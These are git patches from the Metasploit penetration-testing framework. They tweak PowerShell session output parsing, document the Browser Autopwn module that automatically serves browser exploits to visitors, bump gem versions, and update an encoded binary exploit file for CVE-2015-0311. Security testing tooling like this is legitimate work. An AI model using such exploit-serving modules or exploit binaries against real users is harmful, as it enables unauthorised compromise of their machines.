2001 From: benpturner Date: Mon, 25 May 2015 20:10:29 +0100 Subject: [PATCH 0186/1013] Edit spaces within the powershell session command --- lib/msf/base/sessions/powershell.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/base/sessions/powershell.rb b/lib/msf/base/sessions/powershell.rb index f2d129f5cc..6451af384d 100644 --- a/lib/msf/base/sessions/powershell.rb +++ b/lib/msf/base/sessions/powershell.rb @@ -58,8 +58,8 @@ class Msf::Sessions::PowerShell < Msf::Sessions::CommandShell buff << res if buff.match(/#{endm}/) # if you see the end marker, read the buffer from the start marker to the end and then display back to screen - buff = buff.split(/#{strm}/)[-1] - buff.gsub!(/PS .*>/, '') + buff = buff.split(/#{strm}\r\n/)[-1] + buff.gsub!(/\nPS .*>/, '') buff.gsub!(/#{endm}/, '') return buff end From a0e0e3d360cf36383553c2663a9527d2effd9397 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 25 May 2015 17:24:41 -0500 Subject: [PATCH 0187/1013] Description --- modules/exploits/multi/browser/autopwn.rb | 40 +++++++++++++++++++++-- 1 file changed, 37 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/browser/autopwn.rb b/modules/exploits/multi/browser/autopwn.rb index 343e544415..6302cd4d2f 100644 --- a/modules/exploits/multi/browser/autopwn.rb +++ b/modules/exploits/multi/browser/autopwn.rb @@ -12,9 +12,40 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info={}) super(update_info(info, - 'Name' => "HTTP Client Automatic Exploiter", + 'Name' => "HTTP Client Automatic Exploiter (Browser Autopwn)", 'Description' => %q{ - Place holder + This module will automatically serve browser exploits. Here are the options you can + configure: + + The Include option allows you to specify the kind of exploits to be loaded. For example, + if you wish to load just Adobe Flash exploits, then you can set Include to 'adobe_flash'. + + The Exclude option will ignore exploits. For example, if you don't want any Adobe Flash + exploits, you can set this. Also note that the Exclude option will always be evaludated + after the Include option. + + The MaxExploits option specifies the max number of exploits to load by Browser Autopwn. + By default, 20 will be loaded. But note that the client will probably not be vulnerable + to all 20 of them, so only some will actually be served to the client. + + The Content option allows you to provide a basic webpage. This is what the user behind + the vulnerable browser will see. You can simply set a string, or you can do the file:// + syntax to load an HTML file. Note this option might break exploits so try to keep it + as simple as possible. + + The WhiteList option can be used to avoid visitors that are outside the scope of your + pentest engagement. IPs that are not on the list will not be attacked. + + The MaxSessions option is used to limit how many sessions Browser Autopwn is allowed to + get. The default -1 means unlimited. Combining this with other options such as RealList + and Custom404, you can get information about which visitors (IPs) clicked on your malicious + link, what exploits they might be vulnerable to, redirect them to your own internal + training website without actually attacking them. + + The RealList is an option that will list what exploits the client might be vulnerable to + based on basic browser information. If possible, you can run the exploits for validation. + + For more information about Browser Autopwn, please see the reference link. }, 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r' ], @@ -23,6 +54,10 @@ class Metasploit3 < Msf::Exploit::Remote 'Privileged' => false, 'DisclosureDate' => "Feb 5 2014", 'Targets' => [ [ 'Automatic', {} ] ], + 'References' => + [ + [ 'URL', 'https://github.com/rapid7/metasploit-framework/wiki' ] + ], 'DefaultTarget' => 0)) @@ -30,7 +65,6 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ - OptEnum.new('Action', [false, 'Action', 'WebServer', ['WebServer','DefangedDetection'], 'WebServer']), OptRegexp.new('Include', [false, 'Pattern search to include specific modules']), OptRegexp.new('Exclude', [false, 'Pattern search to exclude specific modules']), OptInt.new('MaxExploits', [false, 'Number of browser exploits to load', 20]), From 2934dcbf3569d628a1f6ad51c29b5d46fc0f2576 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Tue, 26 May 2015 10:40:27 -0500 Subject: [PATCH 0188/1013] Bump Gemfile.lock w/Recog/MDM --- Gemfile.lock | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 2319aa9af3..5dd2299b0e 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -15,7 +15,7 @@ PATH packetfu (= 1.1.9) railties rb-readline-r7 - recog (~> 1.0) + recog (~> 2.0) robots rubyzip (~> 1.1) sqlite3 @@ -24,7 +24,7 @@ PATH activerecord (>= 4.0.9, < 4.1.0) metasploit-credential (~> 1.0) metasploit-framework (= 4.11.0.pre.dev) - metasploit_data_models (~> 1.0) + metasploit_data_models (~> 1.2) pg (>= 0.11) metasploit-framework-pcap (4.11.0.pre.dev) metasploit-framework (= 4.11.0.pre.dev) @@ -124,7 +124,7 @@ GEM activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) metasploit-payloads (0.0.7) - metasploit_data_models (1.0.1) + metasploit_data_models (1.2.0) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) arel-helpers @@ -133,12 +133,12 @@ GEM pg postgres_ext railties (>= 4.0.9, < 4.1.0) - recog (~> 1.0) + recog (~> 2.0) method_source (0.8.2) mime-types (2.4.3) mini_portile (0.6.2) minitest (4.7.5) - msgpack (0.5.11) + msgpack (0.6.0) multi_json (1.11.0) multi_test (0.1.2) network_interface (0.0.1) @@ -146,7 +146,7 @@ GEM mini_portile (~> 0.6.0) packetfu (1.1.9) pcaprub (0.12.0) - pg (0.18.1) + pg (0.18.2) pg_array_parser (0.0.9) postgres_ext (2.4.1) activerecord (>= 4.0.0) @@ -156,7 +156,7 @@ GEM coderay (~> 1.1.0) method_source (~> 0.8.1) slop (~> 3.4) - rack (1.5.2) + rack (1.5.3) rack-test (0.6.3) rack (>= 1.0) rails (4.0.13) @@ -174,7 +174,7 @@ GEM thor (>= 0.18.1, < 2.0) rake (10.4.2) rb-readline-r7 (0.5.2.0) - recog (1.0.29) + recog (2.0.2) nokogiri redcarpet (3.2.3) rkelly-remix (0.0.6) @@ -222,7 +222,7 @@ GEM thread_safe (0.3.5) tilt (1.4.1) timecop (0.7.3) - tzinfo (0.3.43) + tzinfo (0.3.44) xpath (2.0.0) nokogiri (~> 1.3) yard (0.8.7.6) From 91357ee45bc8facaec58eb8260919264ed2d427e Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 26 May 2015 13:47:33 -0500 Subject: [PATCH 0189/1013] Improve reliability --- data/exploits/CVE-2015-0311/msf.swf | Bin 20328 -> 20302 bytes 1 file changed, 0 insertions(+), 0 deletions(-) diff --git a/data/exploits/CVE-2015-0311/msf.swf b/data/exploits/CVE-2015-0311/msf.swf index e94528b7155ff2f61a0d53d3284b5c663976b644..0782407696358578179c54091bf480117265c06f 100644 GIT binary patch delta 20178 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 